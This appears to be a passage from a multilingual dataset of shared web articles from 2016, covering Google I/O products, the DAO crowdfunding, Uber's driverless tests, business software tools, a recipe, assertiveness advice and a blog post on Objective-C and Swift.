Look confident when making a request or stating a preference. Stand up straight, lean in a bit, smile or keep a neutral facial expression, and look the person in the eye. 3. Understand and accept differences. Assertiveness doesn't mean being dismissive of other people's points of view. Just as you state your own opinion, you work to understand other points of view. Don't allow differences to upset you or make you angry; remember that differences don't necessarily mean you are right and the other person is wrong. Try to understand their point of view. Listen respectfully and don't interrupt when they are speaking. 4. Speak simply and directly. When you're practicing assertiveness, it's important to speak in a way that doesn't imply accusations or make the other person feel guilty. Speaking your truth with candor shouldn't mean making others feel wrong. Be simple, direct, and concise in your language, and state what you know to be true for you. When you are asserting yourself, remember, less is more. Keep your requests and preferences simple and direct, with no meandering or long-winded explanations. 5. Exercise the power of I. To be aggressive without coming across as hostile, use ""I"" statements when speaking. Make it a habit to say things like ""I think ... "" or ""I feel .... "" Never use aggressive language or phrases like ""You never ... "" or ""You always .... "" These statements trigger other people, leaving them frustrated and shutting down a conversation. When stating what you want or simply making a request, use ""I"" statements. They will allow you to be confident and assertive without alienating and eliminating other people. 6. Stay calm. Being assertive might make you feel excited, but excitement can sometimes come across as aggression. Learn to stay cool and calm when expressing yourself; it will make you more confident and allow the other person to feel relaxed as well. Remember to breathe normally and be mindful of body language and eye contact. Be present with each other. Calm mind, calm speech, calm action--it not only gives you confidence, but allows the other person to be composed as well. 7. Set boundaries. Boundaries are the rules and limits that you create for yourself--the things that help you decide what you will and won't allow. You don't want people to walk all over you but you don't want people to think you are a bully, either. Creating and setting boundaries will help you know when you need to say yes and when you want to say no. Assertiveness is like any other skill--it takes practice and time to get it right. Keep working through each of these techniques and soon you will feel more confident.",en
1463754178,CONTENT SHARED,4012770927504386801,-5527145562136413747,-6342015307868538806,,,,HTML,http://elpais.com/elpais/2016/05/18/videos/1463563077_502257.html,La RAE lucha contra los anglicismos con una campaña de publicidad,"La Real Academia Española alerta sobre su abuso en 'spots' y en la sociedad en general Compartir en Facebook Compartir en Twitter Otros Cerrar Compartir en Linkedin Compartir en GooglePlus Compartir en Pinterest Ver comentarios Camapaña de la RAE contra el abuso de anglicismos en la publicidad. Eco-friendly, light o cleaning power . Son solo algunos de los anglicismos más utilizados en la publicidad como reclamo para los consumidores. La RAE y la Academia de la Publicidad se han propuesto luchar contra su uso excesivo mediante un anuncio propio, que evidencia la profusión del léxico procedente del inglés en los comerciales publicitarios. ""La publicidad es uno de los principales sectores implicados, ya que el uso excesivo de los anglicismos en los anuncios que se emiten en España no solo afecta a las marcas, sino directamente a la población en general y a cómo perciben los mensajes comerciales"", ha manifestado Enric Nel-lo, director creativo de Grey España , que coordina la iniciativa. El vídeo se ha presentado durante las jornadas ¿Se habla español en España? , que se celebran este miércoles. Archivado en: Más información Comentarios Normas",es
1463760117,CONTENT SHARED,-3285620956704836473,3609194402293569455,-9117066156791004905,,,,HTML,http://www.inc.com/ryan-jenkins/the-top-10-companies-millennials-want-to-work-for.html,The Top 10 Companies Millennials Want to Work For,"Lists of Millennials' top workplaces , top apps , and top athletes offer plenty of insights into the preferences and expectations of today's largest generation, insights that can influence how you shift your leadership, branding, or communication to better recruit, retain, or engage the future leaders of your organization. YouGov , a daily brand consumer perception research service, recently measured over 1,400 brands asking 18- to 34-year-old Millennial respondents: ""Would you be proud or embarrassed to work for this brand?"" Not surprising, the Millennial list is dominated by tech companies. Top 10 brands Millennials say they'd be proudest to work for. YouGov also surveyed adults 35 and over, where a medical preference emerged with Mayo Clinic, Johns Hopkins Medicine, and Band Aid making the top 10. Other notable brands that made the list were John Deere, Craftsman, Bose, and History Channel. The 35 and over list shared just three names with Millennials: Amazon, Johnson & Johnson, and Google.",en
1463760981,CONTENT SHARED,484986956330644320,-6944500707172804068,-8500253839556576031,,,,HTML,https://medium.com/@gustavocaetano/conhe%C3%A7a-as-ferramentas-digitais-que-utilizo-na-minha-empresa-para-resolver-problemas-tornar-o-ba6b9957521,"Conheça as ferramentas digitais que utilizo na minha empresa para resolver problemas, tornar o...","Conheça as ferramentas digitais que utilizo na minha empresa para resolver problemas, tornar o dia a dia mais ágil e aumentar a produtividade. (O melhor: quase todas são gratuitas inicialmente) Para começar esse texto, quero voltar no tempo. Há alguns anos, a internet e outras tecnologias que temos atualmente não faziam parte do cotidiano de trabalho de muitos profissionais e empresas. Me lembro que, em 2004, por exemplo, o celular mais top de linha da época se resumia a uma tela colorida de 18 cores e a internet era WAP. 3G e 4G naqueles tempos nem existiam ainda. Sem acesso à tecnologia, empresas e profissionais encontravam algumas dificuldades para conseguir se comunicar com seus times e também para organizar o seu dia a dia. Os processos eram arcaicos e demandavam tempo. Por exemplo, era comum utilizar agendas físicas para anotar todas as reuniões e informações necessárias; planilhas de despesas precisavam ser preenchidas à mão; para ter acesso à localização de um lugar específico, era necessário a utilização de um mapa; e para buscar um número de telefone consultávamos a Lista Telefônica. Nessa época, ao chegarmos em uma empresa, encontrávamos aparelhos gigantescos, com engrenagens complexas e, claro, ocupando um belo espaço físico. Eram os chamados ""servidores"", onde era concentrada toda a informação e vida da empresa. Por meio da tecnologia, esses ""dinossauros"" foram extintos. A internet e o armazenamento em nuvem chegaram para romper todos limites de espaço e tempo, promovendo uma acessibilidade completa, fornecendo acesso a informações de qualquer lugar do mundo, por um custo muito baixo. Uma solução de Business Intelligence, por exemplo, custava milhares de dólares. Hoje, com apenas US$9,90 dólares por mês é possível utilizar o PowerBi , que é o estado da arte em BI. Separei algumas ferramentas que utilizamos na Samba Tech e que você não pode deixar de usar na sua empresa: Marketing: Há dois anos mudamos por completo os processos da área de marketing e comunicação da Samba. Antes o foco era no número de aparições em revistas e jornais. Depois, passamos a focar em métricas mais tangíveis como número de visitas no site e número de leads/oportunidades geradas. Implementamos uma metodologia baseada no livro Predictable Revenue , de Aaron Ross, mas também passamos a usar softwares e serviços que nos ajudaram a chegar num objetivo maior. Naquele momento passamos a usar a Rockcontent , para criação de conteúdo, Blogo para publicação dos textos no nosso blog, o Samba Vídeos para captura de leads dentro dos próprios vídeos criados pelo Marketing e RD Station para gestão e qualificação dos leads. Criamos uma planilha em Excel para controle dos números que está integrada no PowerBi , onde outros gestores podem fazer o acompanhamento dos dados em tempo real em qualquer dispositivo. Também utilizamos ferramentas como Unbounce , para criamos landing pages como agilidade, Webflow para os sites de novos produtos, KickoffLabs para campanhas virais ( Kast é um exemplo) e Optimizely para A/B test. Temos a ajuda constante da Supersonic , que faz diversos testes no site para ver o que gera mais conversão. Em 2 meses tivemos um aumento de quase 100% na quantidade de leads qualificados que geramos. A área de Outbound, que vai atrás dos clientes proativamente, utilizamos o Sales Navigator do Linkedin e uma ferramenta chamada BuiltWith , que gera listas de clientes que utilizam tecnologias concorrentes à nossa. Nossas campanhas pagas de Google e Facebook ficam por conta da agência Raccoon , de São Paulo. Os slides de apresentações comerciais e de produtos fica por conta da Smartalk , e são armazenados numa conta corporativa no Dropbox . Vendas: Uma vez geradas as oportunidades pela área de Marketing, o lead (contato) é passado para a área comercial através de uma ferramenta de controle de Pipe de Vendas chamada PipeDrive . Estamos neste momento substituindo esta ferramenta pela Salesforce , onde teremos mais relatórios sobre a área comercial e conseguiremos implementar um processo mais detalhado para cada etapa do funil de vendas. Uma vez fechado o negócio tentamos fazer com que a entrada do cliente na empresa seja suave. Para isso enviamos emails automaticamente usando o software da Dito , que tem gatilhos que dispara um comunicado personalizado de acordo com o perfil de cada cliente e as ações deste cliente na nossa plataforma. Também utilizamos o Mailchimp para envio de newsletters. O Zendesk é usado para manter uma base atualizada de conhecimento e centralizar todos os tickets de suporte. Mensalmente rodamos uma pesquisa de NPS (Net Promotion Score) , em que descobrimos quem está satisfeito ou insatisfeito com a Samba através de uma só pergunta. O software de gestão de NPS é desenvolvido pela Tracksale . TI e Produto: A área de tecnologia e produtos utilizam diversas ferramentas tecnológicas mas vou me ater em algumas que acho mais interessantes. Uma grande parte da nossa plataforma fica armazenada na Rackspace , nos EUA, e toda a parte de armazenamento e entrega de vídeos fica por conta do Azure , da Microsoft. A área de bigdata roda Hadoop em cima de AWS . A estabilidade (uptime) da nossa plataforma é auditada pela ferramenta Pingdom , e o nosso time utiliza a NewRelic para conseguir métricas de performance da nossa plataforma. Para facilitar e agilizar a prototipação de novos produtos utilizamos o Invision , que é pra mim o melhor software para criação de protótipos de alta fidelidade que conheço. Nosso processo de desenvolvimento de produtos utiliza uma metodologia criada pelo Google Ventures chamada de Design Sprint . Administrativo/Financeiro: Finalizamos há algumas semanas a implementação do SAP , que está agora se integrando à Salesforce que é usado pela área comercial. Assim, toda a empresa tem os dados centralizados em um só lugar. Os dados são inseridos na ferramenta da SaaSMetrics para detalhamento de todas as métricas de marketing, vendas e pós-vendas, incluindo CAC (custo de aquisição de clientes), LTV (Tempo que o cliente fica na empresa x o que ele paga mensalmente), Churn entre outras informações. Implementamos o Docusign para colhermos assinaturas de contratos de maneira digital, e o impacto foi muito positivo (achei que a adoção pelos clientes seria baixa, mas eles adoraram). No RH, todo o processamento da folha de pagamento é feita pelo sistema da ADP e usamos uma metodologia do Google para recrutamento e seleção descrita aqui . Operações: Os processos da Samba rodam em uma ferramenta caseira e estamos avaliando o Pipefy como alternativa. Internamente utilizamos o Slack para conversas em grupos e o Kast substituiu o Whatsapp como ferramenta de comunicação por vídeos. Temos lâmpadas inteligentes da Philips espalhadas pelo escritório e plugadas nas planilhas de gestão de KPI, que fazem com que elas mudem de cor caso o projeto vá bem ou mal. Além do PowerBi, que nos dá métricas em tempo real, gostei muito da experiência de usar o Geckoboard , que gera dashboards bem legais. As TVs da Samba estão conectadas no Chromecast e usam um software de Digital Signage para comunicar os funcionários sobre acontecimentos recentes da empresa. A verdade é que as ferramentas digitais chegaram para resolver problemas, oferecer acessibilidade e solucionar parte da necessidade das empresas, tornando o dia a dia mais ágil, produtivo, com segurança de informações, além de auxiliar no gerenciamento dos negócios. O ponto positivo é que quase todas essas que listei são gratuitas inicialmente e bem baratas caso queira colocar para rodar na empresa toda. Veja a tecnologia como uma verdadeira aliada aos seus negócios. Bônus 1: Um bom site para ficar sempre antenado com novos produtos é o Bônus 2: Nossa área de compras utiliza o Bônus 3: Usamos a Baixe, teste e adote aquelas que melhor irão ajudar seu negócio a decolar. Sympla para organizar eventos internos e externos, de graça. Méliuz para comprar online e receber uma % da compra de volta. ;-) ProductHunt . Esse artigo foi publicado inicialmente no Linkedin:",pt
1463766431,CONTENT SHARED,-4613284400780388067,-7456488753754080246,8916924129101545638,,,,HTML,http://www.hardware.com.br/noticias/2016-05/senado-lanca-enquete-para-saber-se-voce-favor-ou-contra-franquia-de-dados-para-internet-fixa.html,Senado lança enquete para saber se você é contra ou a favor a franquia de dados para internet fixa,"William R. Plaza criou há mais de 38 minutos O polêmico debate sobre a franquia de dados para internet fixa acaba de ganhar uma enquete oficial promovida pelo Senado , que tem como objetivo coletar o maior número de opiniões sobre o tema. A enquete é baseada em quatro perguntas, que além de tratar sobre a franquia de dados também menciona outro assunto muito comentado nos últimos tempos: o bloqueio de aplicativos de comunicações por decisões judiciais. Caso você esteja interessado em participar, as questões permaneceração disponíveis até o dia 15 de junho. Clique aqui para acessar a enquente. Postado há mais de 38 minutos por William R. Plaza",pt
1463769643,CONTENT SHARED,288653248451617914,3609194402293569455,-9117066156791004905,,,,HTML,http://techcrunch.com/2016/05/20/google-and-levis-team-up-on-a-connected-jacket-that-lets-you-answer-calls-use-maps-and-more/,"Google and Levi's team up on a ""connected"" jacket that lets you answer calls, use maps, and more","At Google's I/O conference today, Google's Google's Advanced Technology and Projects (ATAP) research unit offered an update on its interactive textiles project announced last year, Project Jacquard. ATAP's Ivan Poupyrev announced that the company was collaborating with iconic clothing company, Levi's, to launch a connected jacket aimed at urban cyclists that will allow wearers to do things like control their music, answer phone calls, access navigation, and more, all by tapping and swiping on the jacket's sleeve. Google's partnership with Levi's was announced last year, but the two companies hadn't yet disclosed how the clothing maker would implement Project Jacquard's technology. In case you missed it last year, the project involves weaving multi-touch sensors into clothes in order to make what you're wearing the new, well, ""wearable"" computing device. The idea with the jacket, explained Poupyrev, was to make something that's both fashionable to wear while also representing a practical implementation of the technology. Cyclists often have to fuss with their phone while commuting on busy streets, which is dangerous. With Levi's Commuter jacket, they'll instead be able to just touch their jacket's sleeve instead, using gestures. A Jacquard tag is embedded in the sleeve making this functionality possible, and it can be pulled out and charged via USB. That makes the jacket durable. Plus, the company stressed, you can use it like any other article of clothing - wad it up, throw it in the wash, etc. In addition to controlling native phone functions like calls, maps, and music, Google says the jackets will also interoperate with third party services. That means you'll be able to use the touches to control your Spotify music, for example, or a connected fitness app. More importantly, the jacket isn't some far off pipe dream, as it turns out - it will ""launch"" into beta testing this fall, and then become publicly available in spring 2017.",en
1463771010,CONTENT SHARED,5827857898404399503,-1443636648652872475,4561365470695966723,,,,HTML,http://fortune.com/2016/05/20/google-io-disneyland/,"Google's I/O Is a Little Like Disneyland, and a Little Like a Garage Sale","This essay originally appeared in Data Sheet, Fortune's daily tech newsletter. Sign up here. There are a number of places where geeks like to congregate and spend time with their own people. Star Trek conventions, for example. But if you're a certain kind of nerd, one of the invitations you most want to get is to Google's I/O, the annual developer conference where the web giant talks about all of the cool new things it is working on. Arguably the pinnacle of I/O experiences happened in 2012, when four skydivers in wingsuits jumped out of a blimp wearing Google Glass headsets, and live-streamed their descent to the Moscone Center in San Francisco. The latest version of the conference wasn't quite that exciting, but it was a great example of how Google continues to simultaneously be one of the most interesting and also one of the most frustrating companies out there. On the interesting side, Google announced a competitor to Amazon's popular Echo home-automation hub called Google Home , which lets you search the web and play music by simply saying ""OK, Google."" Yes, something with a human name like Alexa or Siri might have been a bit more interesting, but hey, this is Google we're talking about. Google also announced a couple of innovations designed to improve the lives of smartphone users (and boost Google's market position). One is a smarter version of Google Now called Assistant, and the other is Android Instant Apps , which allows users to access certain features of mobile apps without having to install them. And on the frustrating side? Well, to take just one example, the company announced a new messaging app called Allo , and a new video-calling app called Duo. But doesn't Google already have a couple of messaging apps ? Yup. There's Messenger and Hangouts. And doesn't one of them do video calling? It sure does. So why do we need new ones? A good question, and one that wasn't really answered at I/O as far as we could tell. Google's virtual reality ambitions. There's arguably no other company doing as many cool things on the web and mobile as Google. And yet there's also probably no other company that shoves as many half-baked things out the door that will inevitably wind up being mothballed. Experimentation is good, but it can be frustrating as heck. On the upside though, all we have to do is wait until next year's Google I/O, when we'll get a bunch more cool new apps!",en
1463772992,CONTENT SHARED,8396284143617057811,3609194402293569455,-9117066156791004905,,,,HTML,http://googlediscovery.com/2016/05/20/google-tem-planos-de-lancar-projeto-ara-em-2017/,"Projeto Ara, o smartphone modular do Google, pode chegar ao mercado em 2017 | Google Discovery","Após um breve período sem divulgar qualquer novidade sobre o Projeto Ara, o Google anunciou durante a conferência para desenvolvedores do Google I/O 2016 que planeja lançar seu smartphone modular em 2017. Anteriormente previsto para 2016, o Projeto Ara precisou ser adiado devido a fase de prototipagem que exigiu mais tempo do que o buscador havia inicialmente planejado. De acordo com o site Engadget que esteve na apresentação, o dispositivo ganhou melhorias e sofisticação. ""Em vez de uma grelha metálica que parecia separar um módulo do outro, o novo design não deixa visualmente nenhum limite entre os módulos, deixando o smartphone mais unificado"", menciona a publicação. O novo protótipo do Ara agora suporta até seis módulos e os usuários podem ejetá-los com comandos de voz, ex: ""OK Google, ejetar a câmera"". é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1463773839,CONTENT SHARED,8342423402350940832,-1443636648652872475,4561365470695966723,,,,HTML,https://www.raspberrypi.org/blog/raspberry-pi-cloud-vision-google-io/,Raspberry Pi with cloud vision at Google I/O - Raspberry Pi,"Matt visited Google I/O yesterday, and sent back some pretty incredible pictures. This event looks more like a music festival than a tech conference. He was sending pictures and excited snippets of text back to Pi Towers all through the event, and then, when he got home, shared this video. I've been so excited about it that I've had it playing on repeat, and we all thought you'd like to see it too. This is a demo of a Raspberry Pi robot working with Google's Cloud Vision API - and it's got such potential for your projects. Cloud Vision API provides powerful Image Analytics capabilities as easy to use APIs. It enables application developers to build the next generation of applications that can see and understand the content within the images. The service enables customers to detect a broad set of entities within an image from everyday objects to faces and product logos. The robot is taking pictures and sending them to the cloud, where they're analysed and sent back in real time. There's facial detection - along with detection of what emotion is showing on those faces. And cloud vision offers you image recognition, so you should be able get your robot to distinguish limes from green apples. You can then get the robot to act on that data - so you could set it to gather apples and not limes, for example. We're pretty excited about the opportunities this API offers makers of all kinds of Raspberry Pi devices. You can learn more here - please let us know if you start integrating it into your own projects!",en
1463776160,CONTENT SHARED,-5924996404988010,-1387464358334758758,4255314756189922878,,,,HTML,http://googlediscovery.com/2016/05/20/google-lanca-aplicativo-de-ciencias-para-android/,"Google lança Science Journal, aplicativo de ciências para Android | Google Discovery","O Google anunciou a disponibilidade do Science Journal - um novo aplicativo para Android que promete transformar qualquer smartphone em ""notebook de laboratório"" que pode ser levado para qualquer lugar. ""O Science Journal é uma ferramenta de ciências para seu smartphone. Use os sensores do seu telefone ou conecte-o a sensores externos para fazer experimentos no mundo ao seu redor. Organize suas ideias em projetos, faça previsões, anotações e colete dados de diferentes testes, depois registre e analise os resultados"", diz o buscador. Science Journal usa os sensores do telefone para medir e registrar dados em tempo real, incluindo o movimento, luz e som; e registra todos os dados em gráficos e tabelas, além de organizar todas as suas observações. Aplicativo do Science Journal está disponível, sem custo, no Google Play. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1463779306,CONTENT SHARED,5446022903655412342,-1387464358334758758,4255314756189922878,,,,HTML,https://catracalivre.com.br/geral/gastronomia/indicacao/irresistivel-cebola-recheada-com-carne-moida-e-enrolada-no-bacon/,Irresistível: cebola recheada com carne moída e enrolada no bacon,"O Canal Tempero Caseiro preparou essa deliciosa receita que vai fazer você ficar com água na boca. Essa cebola é recheada com carne moída e queijo e enrolada em 3 lindas camadas de bacon fatiado. Ficou com vontade? Assista o vídeo e venha aprender a fazer essa delícia. Ingredientes - 3 Cebolas - 400gr de Carne Moída (usei patinho) - 3 Fatias de Queijo - 9 Fatias de Bacon (usei 3 em cada cebola) - Requeijão - Sal - Cheiro Verde (Salsinha e Cebolinha) Rede Catraca Livre Este conteúdo - assim como as respectivas imagens, vídeos e áudios - é de responsabilidade do usuário Canal Tempero Caseiro da Rede Catraca. O Catraca Livre disponibiliza espaço no site para que qualquer interessado possa contribuir com cidades mais acolhedoras, educadas e criativas, sempre respeitando a diversidade de opiniões. As informações acima são de responsabilidade do autor e estão sujeitas a alterações sem aviso prévio.",pt
1463839313,CONTENT SHARED,-6035458164887182128,-1032019229384696495,-3380830240031988890,,,,HTML,http://qz.com/688194/the-price-of-ether-a-bitcoin-rival-is-soaring-because-of-a-radical-150-million-experiment/,"The price of Ether, a bitcoin rival, is soaring because of a radical, $150 million experiment","Thousands of people have pumped $150 million into what might be the biggest crowdfunded project in history, something called the Decentralized Autonomous Organization (DAO). Compare this to the $20 million raised by the project with the most funds on Kickstarter, the Pebble Time smartwatch. The strange thing about this crowdfunding is that the DAO doesn't produce any concrete products or services-not yet, anyway. The DAO's big promise is that it's an entirely new way to manage and allocate capital. More specifically, it's capital allocation without a fund manager. Think of it as venture-capital firm Andreessen Horowitz, but with Marc Andreessen and Ben Horowitz replaced by the wisdom of the crowd. That crowd consists of about 11,000 anonymous stakeholders who can vote directly on any major decision to spend the organization's funds. Companies or individuals who want to tap the funds must submit a proposal. These proposals are published online , and stakeholders ultimately vote on whether to adopt them, allocating a slice of the $150 million, or not. Stakeholders then stand to gain from the profits generated by these proposals, whether in the form of dividends or an increase in value of their tokens. ""This is an incredible evolution over the Kickstarter model,"" says Stephan Tual, the chief executive of Slockit, a company with a proposal on the table for funding from the DAO. Tual's company has played a pivotal role in getting the DAO going. Its chief technology officer wrote the code that animates the DAO, and the Slockit proposal is just one of two currently published on the site. Tual says there are at least a dozen more proposals in the works, bandied about on the DAO website's forums, but it's taking time to get them published (""it's like herding cats,"" he says). Slockit itself has no power over the funds collected so far-no one individual or entity controls the DAO or profits more from it than other stakeholders. This radical experiment in disintermediation has won favor among Silicon Valley's technorati. Here's an Andreessen Horowitz partner's take on it: Think of each cryptocurrency as a startup. The DAO is Ethereum's way of making sure a sizable chunk of the cap table is devoted to R&D. - Chris Dixon (@cdixon) May 20, 2016 There's another major factor at work here. The DAO is funded entirely with Ether, the cryptocurrency that's rivalling bitcoin and exploding in value. That is to say, users need to convert dollars or bitcoins or other currencies to Ether, which they then use to invest in the DAO. Ether was trading at about $0.90 in December, but is now changing hands at nearly $15, or a 15-fold increase in six months. In fact, the DAO has proved so popular among holders of Ether, that the DAO now accounts for almost 14% of the value of all Ether in circulation. Ether, and the protocol it's built on, called Ethereum, is an essential part of the DAO project. It allows developers to write smart contracts, self-executing agreements that don't require human intervention, thus enabling ideas like an organization that manages itself. The DAO is essentially a complicated smart contract, with hard-coded rules on voting and governance. But the same free-market beliefs that birthed the DAO could also stifle it. That's because DAO stakeholders received tokens in exchange for their Ether at a fixed rate when they bought in. The price of Ether has nearly doubled since DAO tokens first became available on Apr. 30, in large part because of the hype generated by the DAO itself. Token holders now have a large incentive to swap their tokens out and get Ether back, which can then be sold for US dollars or bitcoins. Token-holders can't sell out now, because the DAO smart contract says tokens are locked up during this subscription period. But the lock-up period ends in seven days . That's when we'll see a drop in Ether's stratospheric price rise. ""As soon as people are able to transfer out of DAO tokens, the Ether price will drop temporarily,"" says Joseph Lee, who runs London-based bitcoin trading platform Magnr. ""People would want to cash out. The price has been rising rapidly."" A drop in the Ether price would leave a dent in the value of the DAO's funds. But for true believers in the decentralized ways of the DAO, it's a small price to pay for a future without middle-men. ""The amounts raised now are making people think this is no longer a toy,"" says Slockit's Tual. ""This is going to make a very big difference. It's paving the way for a billion-dollar project."" Read this next: Coinbase will start trading bitcoin rival ethereum on its cryptocurrency exchange",en
1463872123,CONTENT SHARED,8871666435351703640,-2785363955043455312,167485943629972299,,,,HTML,"http://tecnologia.terra.com.br/uber-comeca-testes-de-carros-sem-motorista-nos-eua,7c6825b959aa2494c479fe19c3f85fd9q5q572f2.html",Uber começa testes de carros sem motorista nos EUA,"A Uber avança nos seus planos de implantação de carros sem condutor em sua frota. Nas próximas semanas, a empresa deve começar os testes do seu veículo nas ruas de Pittsburgh, nos Estados Unidos. As informações são da revista norte-americana Time. Produzido em parceira com a Ford, o veículo será equipado com sensores criados no Centro de Tecnologias Avançadas do Uber e terá uma pessoa no assento do motorista apenas para monitorar suas operações. O protótipo será usado para coletar dados de cartografia e testar suas capacidades de auto-condução, que incluirá scanners a lasers, radares e câmeras de alta resolução. A empresa diz que esta nova tecnologia está em seus primeiros dias de teste e que já informou as autoridades locais a respeito dos seus planos. Em nota no seu site, a Uber diz que neste momento está focado em obter o direito pela tecnologia usada e garantir que seja seguro para todos nas ruas. No mês passado, a empresa se juntou com o Google, Ford, Volvo e Lyft, um serviço semelhante ao Uber, para anunciar uma coalização para convencer os legisladores a facilitar o uso de veículos de auto-condução. Carros que dirigem sozinho são um sonho antigo do CEO da Uber, Travis Kalanick. O que isso pode significar para os milhares de motoristas que trabalham através do aplicativo, no entanto, ainda não está claro.",pt
1463921535,CONTENT SHARED,-3417523159811412977,-4467650312287951120,3486371402095189500,,,,HTML,https://ferhenriquef.com/2016/05/19/desenvolvimento-efetivo-na-plataforma-microsoft-o-livro/,Desenvolvimento Efetivo na Plataforma Microsoft: o livro.,"Desenvolver software é complexo. E fazer isso de forma ágil, manutenível, gerando soluções escaláveis, performáticas, seguras e com alta disponibilidade é mais complexo ainda. Diante desses desafios, o time de engenheiros de suporte a campo Modern Apps Brazil decidiu por reunir um conjunto de práticas e lições aprendidas em campo com a plataforma Microsoft em um livro. Esses engenheiros são focados na resolução de problemas críticos relacionados a ALM, IIS e .NET Framework na plataforma Microsoft. Este livro é uma parceria do nosso time com a Casa do Código ( ). A Casa do Código é uma editora brasileira especialista na edição e publicação de livros relacionados a desenvolvimento de software. Seu conteúdo não é exclusivo a plataforma Microsoft, na verdade suas publicações abrangem diferentes plataformas e tecnologias. É uma editora que realmente está à frente do seu tempo. Nosso objetivo com este livro é compartilhar conhecimento com a comunidade técnica. Esta é uma obra independente e sem fins lucrativos. O dinheiro arrecadado será revertido para o projeto CDI (Comitê para Democratização da Informática / ). O CDI é uma organização social que usa a tecnologia para transformação social, fortalecendo comunidades e estimulando o empreendedorismo, a educação e a cidadania. Faço parte do time de engenheiros de suporte a campo Modern Apps Brazil, assumindo a função de Premier Field Engineer (PFE) com foco em desenvolvimento na plataforma .NET. E, pessoalmente, ver este trabalho pronto depois de alguns meses de trabalho, é realmente algo muito gratificante. Realmente esse trabalho representa a união de um time com foco em um objetivo maior. Também agradeço a oportunidade de ter trabalhado como um dos líderes desta iniciativa, e ter participado de algo tão marcante para todos os autores envolvidos. Adicionalmente, tivemos a honra de ter em nosso prefácio palavras de Scott Hanselman, Brian Keller e Rubiana Dalla Rosa. Para acessar o livro, basta clicar na imagem a seguir, ou acessar o link: A seguir uma breve descrição de nosso livro. Os Engenheiros de Suporte Microsoft em Modern Apps têm a oportunidade de trabalhar com sistemas críticos nas maiores companhias do mundo dos mais diversos segmentos. Ao longo dos anos, estes profissionais qualificaram-se no desenvolvimento e suporte baseando-se nas recomendações dos produtos e em boas práticas vivenciadas nas experiências de campo. Trabalhando lado a lado com os clientes, compartilhando conhecimento com milhares de times de desenvolvimento e auxiliando cada pessoa e cada organização a atingir todo o seu potencial. Com foco em DevOps, .NET Framework, IIS (Internet Information Services) e Microsoft Azure, desenvolvedores e arquitetos estarão aptos a aperfeiçoar a qualidade e disponibilidade de seu software, aumentar seu nível de maturidade em desenvolvimento, economizar tempo e reduzir custos. Logo em seguida, o sumário do livro. 1 Conceitos introdutórios 1.1 Tópicos base para software e sistemas operacionais 1.2 O motivo por trás da causa: buscando a origem da causa raiz 1.3 Garbage Collector 1.4 Suportando o IIS e entendendo o seu funcionamento 1.5 Conclusão 2 Falhas e problemas recorrentes da produção de software 2.1 O que acontece se seu não usar o método Dispose? 2.2 Padrão Dispose 2.3 O porquê de utilizar threads 2.4 Quando devo sobrescrever o método Finalize 2.5 Exception Shielding 2.6 Propagação de exceções 2.7 Busca em memória 2.8 Modelo para Serviços Windows 2.9 Utilizando Server Name Indications 2.10 Conclusão 3 Planejamento e gestão de demandas 3.1 Problemas na gestão de requisitos e suas principais causas 3.2 A fábrica está atrasando todas as entregas, o que posso fazer para melhorar isso? 3.3 Planejamento de projeto guiado a feedback 3.4 Como gerenciar a entrega de software por fábricas de software utilizando o TFS Git? 3.5 Conclusão 4 Padrões de desenvolvimento 4.1 Por que criar exceções customizadas 4.2 Como tratar as exceções 4.3 Validação de parâmetros 4.4 Não exponha listas em seu modelo de dados 4.5 Passagem de parâmetros< 4.6 Qual a melhor estratégia de branch para o meu sistema? 4.7 Qualidade de código 4.8 Por que investir em qualidade do código? 4.9 Conclusão< 5 Gestão e monitoramento de releases 5.1 Build e release 5.2 Rastreabilidade de código-fonte 5.3 Como extrair o máximo do Lab Management para garantir a qualidade do seu software 5.4 Conclusão 6 Boas práticas 6.1 Invista em revisão de código 6.2 Evite a codificação de métodos complexos 6.3 Como devo me preparar para um teste de carga? 6.4 Como simular a carga necessária para minha aplicação? 6.5 Profiling de aplicações .NET 6.6 Cuidados ao definir contratos de serviços 6.7 Bundling e minification 6.8 Lutando contra alterações inadvertidas no planejamento 6.9 Aumentando a disponibilidade e o desempenho de websites por meio de seus application pools 6.10 Como o Web Deploy pode ser útil? 6.11 Melhores práticas ao escrever expressões regulares 6.12 Conclusão 7 Bibliografia 8 Sobre os autores FH",pt
1463922214,CONTENT SHARED,-1753606726398516179,-709287718034731589,-1786540524632803738,,,,HTML,https://ashfurrow.com/blog/adulterated-objective-c/,Adulterated Objective-C,"There's been a lot of discussion lately surrounding the efficacy of Swift. Brent Simmons has been writing about his experiences using Swift. As an expert Objective-C developer, his insights are worth paying attention to; he notes that tools at hand when developing Objective-C are either missing in Swift, or clumsy to use. Responder chains , adding functions to objects at runtime , and selector reflection . I suggest you read all his posts. However, I feel the need to point out that there are a lot of iOS developers out there who don't use those tools, or may not even be aware of them. Consequently, they may not share Brent Simmons' frustration at their absence. What am I doing wrong such that Swift's lack of dynamism doesn't seem to be hindering me in the slightest? - Bryan Irace (@irace) May 16, 2016 Objective-C's dynamic nature exists as an integral part of UIKit, and as Craig Hockenberry has pointed out , your app is still built atop an Objective-C foundation even if the code you write is 100% Swift. However, I think there are a lot of Objective-C developers - many who have come to the language since the iPhone - who don't use a lot of the features that make Objective-C a powerful, dynamic language. I started learning Objective-C in 2009 when I learned to write iOS apps. At the time, I didn't really need to know about the dynamic runtime. Swizzling methods and asking if an object responds to a selector is something I knew about - kind of - but I never really took advantage of those capabilities. And I don't think my experience is unique. Why don't newer Objective-C developers know about these features? I think there are two reasons: A lot of the knowledge needed to use Objective-C's full dynamic power is woefully under-documented, arcane, and explained only on dated mailing lists. Apple made a decision to de-emphasize Objective-C dynamic nature when building tools for iOS developers (in contrast with tools for OS X developers that already existed). The second point is far more interesting. Let's take a look at one example: OS X has this really cool feature in Interface Builder called bindings . You can have a property of a view be bound to a property of something else, like NSUserDefaults , another view property, a property of an object you've added to your nib, whatever. It's all built atop Objective-C's dynamic runtime, key-value observation, and value transformers. When I tell iOS developers about bindings, they're usually stunned. They have no idea what I'm talking about, because bindings don't exist on iOS. Whether intentional or not, Interface Builder excluded bindings for iOS interfaces. It's a tool that's just not given to iOS developers. This is one example of a trend: Objective-C has become stricter and 